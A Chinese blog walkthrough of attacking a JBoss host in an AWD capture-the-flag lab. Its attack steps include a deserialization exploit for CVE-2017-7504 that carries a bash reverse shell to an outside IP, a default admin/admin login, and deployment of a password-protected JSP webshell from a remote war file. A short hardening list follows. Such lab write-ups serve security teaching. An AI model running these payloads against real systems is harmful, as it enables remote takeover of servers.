美文网首页
Awd环境验证

Awd环境验证

作者: 二潘 | 来源:发表于2019-11-27 09:28 被阅读0次

一、环境搭建,参考本教程

攻击

一、查看开放端口

root@kali:~# nmap 192.168.5.192
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-25 03:51 EST
Nmap scan report for 192.168.5.192
Host is up (0.00094s latency).
Not shown: 990 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
1098/tcp open  rmiactivation
1099/tcp open  rmiregistry
4444/tcp open  krb524
4445/tcp open  upnotifyp
8009/tcp open  ajp13
8080/tcp open  http-proxy
8083/tcp open  us-srv
8093/tcp open  unknown
MAC Address: 00:0C:29:EF:BB:B3 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 13.19 seconds

二、发现8080 端口是jboss


image.png

漏洞一

CVE-2017-7504 JBoss 4.x JBossMQ JMS 反序列化漏洞
http://192.168.199.101:8080/jbossmq-httpil/HTTPServerILServlet

前言

序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中;反序列化即逆过程,由字节流还原成对象。
Java中的ObjectOutputStream类的writeObject()方法可以实现序列化,ObjectInputStream类的readObject()方法用于反序列化。
问题的根源在于类ObjectInputStream在反序列化时,没有对生成的对象的类型做限制。

漏洞描述

该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,远程攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码。

该漏洞出现在 /invoker/readonly 请求中,服务器将用户提交的POST内容进行了Java反序列化;


image.png

如果页面返回500一般是存在了;

三、漏洞利用工具

http://scan.javasec.cn/java/JavaDeserH2HC.zip

使用方法:

1、javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1.java     #ExampleCommonsCollections1选择编译并生成序列化数据
2、java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1 "bash -i >& /dev/tcp/192.168.199.199/2333 0>&1"     #序列化恶意数据至文件。

第一行命令执行完成后,将生成一个文件ExampleCommonsCollections1.class
第二行命令执行完成后,将生成一个文件ExampleCommonsCollections1.ser


image.png
3、将该文件作为请求数据主体发送如下数据包:
curl http://192.168.199.101:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ExampleCommonsCollections1.ser
# --data-binary 意为以二进制的方式post数据
image.png

监听2333端口


image.png

漏洞二

弱口令 admin admin
http://192.168.199.101:8080/jmx-console/

image.png
后台部署war包GetShell
https://xz.aliyun.com/t/5326
1、进入jmx-console后台;
2、找到jboss.deployment,点击flavor=URL,type=DeploymentScanner;
3、找到void.addURL(),在输入框中写入一个war包地址,war包包含一个webshell;
4、点击invoke获取一个jsp的webshell地址;
image.png
生成一个war包 http://www.gmlearn.com/sqli-labs/jspbig.war
image.png

成功上传war
http://192.168.199.101:8080/jspbig/jspbig.jsp 密码:shack2

image.png

漏洞三

JMXInvokerServlet-反序列化
用配合工具进行检测


image.png

存在漏洞,上传木马

防御

1、关闭22端口
2、JMXInvokerServlet-反序列化

/opt/jboss/jboss4/server/default/deploy/http-invoker.sar

3、CVE-2017-7504 JBoss 4.x JBossMQ JMS 反序列化漏洞

jbossweb-tomcat55.sar

4、修改弱口令

相关文章

  • Awd环境验证

    一、环境搭建,参考本教程 攻击 一、查看开放端口 二、发现8080 端口是jboss 漏洞一 CVE-2017-7...

  • AWD

    思路 0x00 登入服务器并修改密码 linux常用命令查看用户名:who,whoami修改密码:passwd压缩...

  • 我的骄傲的

    AWD阿大为的

  • python使用技巧

    1 使用colorama库带颜色输出日志 2 pwn awd模板 awd模式千万不要使得单个脚本功能太过庞大,脚本...

  • CTF线下赛AWD小结(搬运+整理)

    AWD模式简介 AWD:Attack With Defence,比赛中每个队伍维护多台服务器,服务器中存在多个漏洞...

  • AWD攻略笔记

    AWD真好玩 开局一张图,内容全靠编 AWD是什么 Attack With Defence,简而言之就是你既是一个...

  • AWD笔记

    AWD笔记 一、框架攻击脚本运行 测试,攻击npc 正式攻击 二、杀不死马 通用方法chmod 755 csscd...

  • iOS 内购如何验证订单,iOS7.0以后transaction

    iOS 内购详细步骤 参考:iOS 内购验证订单方法 无法判断是沙盒环境还是正式环境,思路:先验证正式环境,再验证...

  • AWD-LSTM为什么这么棒?

    摘要:AWD-LSTM为什么这么棒,看完你就明白啦! AWD-LSTM是目前最优秀的语言模型之一。在众多的顶会论文...

  • Android入职环境配置大全

    1.安装JDK 菜鸟教程 2.配置JDK 环境变量 java环境验证 Android 环境验证 3.安装Andro...

网友评论

      本文标题:Awd环境验证

      本文链接:https://www.haomeiwen.com/subject/fblqwctx.html